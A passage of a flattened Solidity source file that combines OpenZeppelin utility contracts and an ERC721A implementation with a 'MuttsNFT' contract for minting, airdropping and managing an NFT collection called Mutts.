* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts/ERC721A.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes the number of issuable tokens (collection size) is capped and fits in a uint128.
*
* Does not support burning tokens to address(0).
*/
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable,
Ownable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private currentIndex = 0;
uint256 internal immutable collectionSize;
uint256 internal immutable maxBatchSize;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) private _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Revealed
bool private revealed;
string public notRevealedUri;
/**
* @dev
* `maxBatchSize` refers to how much a minter can mint at a time.
* `collectionSize_` refers to how many tokens are in the collection.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_,
uint256 collectionSize_,
string memory notRevealedUri_
) {
require(
collectionSize_ > 0,
"ERC721A: collection must have a nonzero supply"
);
require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero");
_name = name_;
_symbol = symbol_;
maxBatchSize = maxBatchSize_;
collectionSize = collectionSize_;
revealed = false;
notRevealedUri = notRevealedUri_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), "ERC721A: global index out of bounds");
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert("ERC721A: unable to get token of owner by index");
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721A: balance query for the zero address");
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(
owner != address(0),
"ERC721A: number minted query for the zero address"
);
return uint256(_addressData[owner].numberMinted);
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
require(_exists(tokenId), "ERC721A: owner query for nonexistent token");
uint256 lowestTokenToCheck;
if (tokenId >= maxBatchSize) {
lowestTokenToCheck = tokenId - maxBatchSize + 1;
}
for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert("ERC721A: unable to determine the owner of token");
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) return notRevealedUri;
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString(), ".json"))
: "";
}
function reveal() public onlyOwner {
revealed = true;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, "ERC721A: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721A: approve caller is not owner nor approved for all"
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721A: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), "ERC721A: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, "");
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - there must be `quantity` tokens remaining unminted in the total collection.
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), "ERC721A: mint to the zero address");
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), "ERC721A: token already minted");
require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high");
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
AddressData memory addressData = _addressData[to];
_addressData[to] = AddressData(
addressData.balance + uint128(quantity),
addressData.numberMinted + uint128(quantity)
);
_ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(
isApprovedOrOwner,
"ERC721A: transfer caller is not owner nor approved"
);
require(
prevOwnership.addr == from,
"ERC721A: transfer from incorrect owner"
);
require(to != address(0), "ERC721A: transfer to the zero address");
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId] = TokenOwnership(
prevOwnership.addr,
prevOwnership.startTimestamp
);
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
uint256 public nextOwnerToExplicitlySet = 0;
/**
* @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf().
*/
function _setOwnersExplicit(uint256 quantity) internal {
uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet;
require(quantity > 0, "quantity must be nonzero");
uint256 endIndex = oldNextOwnerToSet + quantity - 1;
if (endIndex > collectionSize - 1) {
endIndex = collectionSize - 1;
}
// We know if the last one in the group exists, all in the group exist, due to serial ordering.
require(_exists(endIndex), "not enough minted yet for this cleanup");
for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) {
if (_ownerships[i].addr == address(0)) {
TokenOwnership memory ownership = ownershipOf(i);
_ownerships[i] = TokenOwnership(
ownership.addr,
ownership.startTimestamp
);
}
}
nextOwnerToExplicitlySet = endIndex + 1;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721A: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// File: contracts/MuttNFT.sol
pragma solidity ^0.8.0;
contract MuttsNFT is ERC721A, ReentrancyGuard {
uint256 public immutable publicTxLimit;
uint32 public publicSaleStartTime;
uint64 public publicPrice;
bool public paused;
mapping(address => bool) internal teamWallets;
constructor(
uint256 maxBatchSize_, // max amount to mint in one transaction
uint256 collectionSize_,
string memory notRevealedUri_
)
ERC721A(
"Mutts",
"MUTT",
maxBatchSize_,
collectionSize_,
notRevealedUri_
)
{
publicTxLimit = maxBatchSize_;
publicSaleStartTime = 1647453600;
publicPrice = 0.05 ether;
paused = false;
}
// ~~~ Modifiers Start ~~~
modifier callerIsUser() {
require(tx.origin == msg.sender, "The caller is another contract");
_;
}
modifier checkPrice(uint64 price, uint8 quantity) {
require(
msg.value >= price * quantity,
"checkPrice: not enough ether for this amount"
);
_;
}
modifier checkTeamWallets() {
require(
teamWallets[msg.sender] || msg.sender == owner(),
"checkTeamWallets: current user isn't a part of the team"
);
_;
}
// ~~~ Modifiers End ~~~
// ~~~ Mint Start ~~~
function publicMint(uint8 quantity)
external
payable
callerIsUser
checkPrice(publicPrice, quantity)
{
require(paused == false, "publicMint: public sale has been paused");
require(
totalSupply() + quantity <= collectionSize,
"reservedMint: too many already minted"
);
require(
block.timestamp >= publicSaleStartTime,
"publicMint: public sale has not begun yet"
);
require(
quantity <= publicTxLimit,
"publicMint: can not mint this many in one transaction"
);
_safeMint(msg.sender, quantity);
}
function reservedMint(uint256 quantity) external checkTeamWallets {
require(
totalSupply() + quantity <= collectionSize,
"reservedMint: too many already minted"
);
uint256 numChunks = quantity / maxBatchSize;
for (uint256 i = 0; i < numChunks; i++) {
_safeMint(msg.sender, maxBatchSize);
}
uint256 remainder = quantity % maxBatchSize;
_safeMint(msg.sender, remainder);
}
function aidropToWallet(uint256 quantity, address wallet) external checkTeamWallets {
require(
totalSupply() + quantity <= collectionSize,
"aidropToWallet: too many already minted"
);
uint256 numChunks = quantity / maxBatchSize;
for (uint256 i = 0; i < numChunks; i++) {
_safeMint(wallet, maxBatchSize);
}
uint256 remainder = quantity % maxBatchSize;
_safeMint(wallet, remainder);
}
// ~~~ Mint End ~~~
// ~~~ Utils Start ~~~
function withdrawMoney() external onlyOwner nonReentrant {
(bool success, ) = msg.sender.call{value: address(this).balance}("");
require(success, "withdrawMoney: Transfer failed.");
}
function numberMinted(address owner) public view returns (uint256) {
return _numberMinted(owner);
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
return ownershipOf(tokenId);
}
// metadata URI
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
// ~~~ Utils End ~~~
// ~~~ Setters Start ~~~
function setBaseURI(string calldata baseURI) external checkTeamWallets {
_baseTokenURI = baseURI;
}
function changePaused() external checkTeamWallets {
paused = !paused;
}
function setPublicPrice(uint64 publicPrice_) external checkTeamWallets {
publicPrice = publicPrice_;
}
